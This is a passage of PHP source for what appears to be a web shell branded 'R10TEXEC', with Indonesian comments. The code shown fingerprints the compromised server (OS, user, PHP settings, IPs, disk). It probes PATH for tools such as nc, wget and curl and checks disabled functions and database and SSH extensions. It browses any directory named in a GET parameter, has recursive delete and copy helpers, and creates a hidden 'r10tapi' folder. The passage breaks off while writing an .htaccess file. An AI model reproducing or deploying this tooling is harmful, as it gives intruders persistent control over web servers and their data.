';
if (isset($error)) {
echo '
' . $error . '
';
}
echo '
© 2025 R10TEXEC
';
exit();
}
//================= System Info =================
$uname = php_uname();
$uid = function_exists("posix_getuid") ? posix_getuid() : 0;
$user =
function_exists("posix_getpwuid") && $uid
? posix_getpwuid($uid)["name"] ?? $uid
: $uid;
$gid =
function_exists("posix_getgid") && function_exists("posix_getgrgid")
? posix_getgrgid(posix_getgid())["name"] ?? posix_getgid()
: getmygid();
$phpver = PHP_VERSION;
$safemode = ini_get("safe_mode") ? "ON" : "OFF";
$serverIP = $_SERVER["SERVER_ADDR"] ?? "Unknown";
$yourIP = $_SERVER["REMOTE_ADDR"] ?? "Unknown";
$dateTime = date("Y-m-d H:i:s"); // ================= Disk Info =================
$diskTotalBytes = disk_total_space("/") ?: 0;
$diskFreeBytes = disk_free_space("/") ?: 0;
$diskTotal = round($diskTotalBytes / 1073741824, 2) . " GB";
$diskFree = round($diskFreeBytes / 1073741824, 2) . " GB";
$diskPercent =
$diskTotalBytes > 0
? round(($diskFreeBytes / $diskTotalBytes) * 100) . "%"
: "0%"; // ================= Useful / Downloaders ================= // ================= Useful / Downloaders =================
$useful = [];
$downloaders = [];
$paths = explode(PATH_SEPARATOR, getenv("PATH")); // Tools penting yang mau dicek
$important_keywords = [
"useful" => ["php", "python", "perl", "ruby", "tar", "gzip", "make", "nc"],
"downloaders" => ["wget", "curl", "lynx", "links"],
]; // Fungsi cek executable ada di PATH
function is_active($cmd, $paths)
{
foreach ($paths as $path) {
$full = $path . DIRECTORY_SEPARATOR . $cmd;
if (is_executable($full)) {
return $cmd;
}
// Hanya kembalikan nama file
}
return false;
} // Scan dan masukkan yang aktif saja
foreach ($important_keywords["useful"] as $cmd) {
if ($name = is_active($cmd, $paths)) {
$useful[] = $name; // Simpan nama saja
}
}
foreach ($important_keywords["downloaders"] as $cmd) {
if ($name = is_active($cmd, $paths)) {
$downloaders[] = $name; // Simpan nama saja
}
} // ================= Disabled Functions =================
$disabledFunctions = ini_get("disable_functions");
$disabled = $disabledFunctions ? "Click to view" : "None";
$disabledArray = $disabledFunctions ? explode(",", $disabledFunctions) : []; // ================= Extensions =================
$cURL = function_exists("curl_version") ? "ON" : "OFF";
$ssh2 = function_exists("ssh2_connect") ? "ON" : "OFF";
$mysql = function_exists("mysql_connect") ? "ON" : "OFF";
$mssql = function_exists("mssql_connect") ? "ON" : "OFF";
$pgsql = function_exists("pg_connect") ? "ON" : "OFF";
$oracle = function_exists("oci_connect") ? "ON" : "OFF";
$cgi = php_sapi_name() === "cgi" ? "ON" : "OFF";
$softWare = $_SERVER["SERVER_SOFTWARE"] ?? "Unknown";
$currentPath = realpath($_GET["path"] ?? getcwd()) ?: getcwd(); // ================= Utility Functions =================
function r10texec_listDir($dir)
{
if (!is_readable($dir)) {
return [];
}
$items = scandir($dir);
$folders = $files = [];
foreach ($items as $item) {
if ($item === "." || $item === "..") {
continue;
}
$full = $dir . "/" . $item;
is_dir($full) ? ($folders[] = $item) : ($files[] = $item);
}
sort($folders);
sort($files);
return array_merge($folders, $files);
}
function r10texec_rmdir_recursive($dir)
{
if (!is_dir($dir)) {
return false;
}
foreach (scandir($dir) as $item) {
if ($item === "." || $item === "..") {
continue;
}
$path = $dir . "/" . $item;
is_dir($path) ? r10texec_rmdir_recursive($path) : @unlink($path);
}
return @rmdir($dir);
}
function r10texec_copy_recursive($src, $dst)
{
if (!is_dir($src)) {
return false;
}
if (!mkdir($dst, 0755, true) && !is_dir($dst)) {
return false;
}
foreach (scandir($src) as $item) {
if ($item === "." || $item === "..") {
continue;
}
$srcPath = $src . "/" . $item;
$dstPath = $dst . "/" . $item;
is_dir($srcPath)
? r10texec_copy_recursive($srcPath, $dstPath)
: @copy($srcPath, $dstPath);
}
return true;
}
function r10texec_formatSize($bytes)
{
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . " GB";
}
if ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . " MB";
}
if ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . " KB";
}
if ($bytes > 1) {
return $bytes . " bytes";
}
if ($bytes === 1) {
return "1 byte";
}
return "0 bytes";
}
function r10texec_formatPerms($perms)
{
$info = $perms & 0x4000 ? "d" : "-";
$info .= $perms & 0x0100 ? "r" : "-";
$info .= $perms & 0x0080 ? "w" : "-";
$info .= $perms & 0x0040 ? "x" : "-";
$info .= $perms & 0x0020 ? "r" : "-";
$info .= $perms & 0x0010 ? "w" : "-";
$info .= $perms & 0x0008 ? "x" : "-";
$info .= $perms & 0x0004 ? "r" : "-";
$info .= $perms & 0x0002 ? "w" : "-";
$info .= $perms & 0x0001 ? "x" : "-";
return $info;
}
$dir = __DIR__ . "/r10tapi";
if (!is_dir($dir)) {
mkdir($dir, 0755, true);
} // ===== .htaccess =====
$htaccess = <<